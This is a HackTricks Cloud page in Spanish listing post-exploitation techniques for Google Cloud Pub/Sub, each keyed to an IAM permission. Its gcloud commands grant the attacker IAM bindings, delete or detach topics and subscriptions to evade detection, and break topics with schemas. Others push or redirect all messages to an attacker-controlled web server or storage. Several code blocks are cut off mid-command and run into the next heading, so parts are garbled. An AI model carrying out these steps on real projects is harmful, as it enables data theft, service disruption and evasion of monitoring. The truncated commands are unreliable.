GCP - Pub/Sub Post Exploitation
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Pub/Sub
Para más información sobre Pub/Sub, consulta la siguiente página:
pubsub.topics.publish
Publicar un mensaje en un topic, útil para enviar datos inesperados y activar funcionalidades inesperadas o exploit vulnerabilities:
Publicar mensaje en topic
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Útil para evitar que una suscripción reciba mensajes, quizá para evadir la detección.
Desvincular la suscripción del topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Útil para evitar que una subscription reciba mensajes, quizá para evitar la detección.
Es posible eliminar un topic incluso con subscriptions adjuntas a él.
Eliminar topic
```bash gcloud pubsub topics deletepubsub.topics.update
Utiliza este permiso para actualizar alguna configuración del topic y así interrumpirlo, por ejemplo --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key…
pubsub.topics.setIamPolicy
Date permiso para realizar cualquiera de los ataques anteriores.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Obtener todos los mensajes en un servidor web:
Crear suscripción push para recibir mensajes
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createCrear una suscripción y usarla para recuperar mensajes:
Crear una suscripción pull y recuperar mensajes
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Eliminar una suscripción** podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar:
<details>
<summary>Eliminar suscripción</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Usa este permiso para actualizar alguna configuración para que los mensajes se almacenen en un lugar al que puedas acceder (URL, Big Query table, Bucket) o simplemente para interrumpirlo.
Actualizar endpoint de suscripción
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Date los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Adjunta un schema a un topic de modo que los mensajes no lo cumplan y, por tanto, el topic quede interrumpido.
Si no hay schemas, puede que necesites crear uno.
Crear archivo schema y adjuntarlo al topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Esto podría parecer que al eliminar un schema podrás enviar mensajes que no cumplan con el schema. Sin embargo, como el schema será eliminado, ningún mensaje entrará realmente en el topic. Así que esto es INÚTIL:
Eliminar schema (inútil)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Otórgate los permisos necesarios para llevar a cabo cualquiera de los ataques comentados anteriormente.
pubsub.snapshots.create, pubsub.snapshots.seek
Esto creará un snapshot de todos los mensajes unACKed y los devolverá a la suscripción. No es muy útil para un atacante pero aquí está:
Crear snapshot y hacer seek al mismo
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

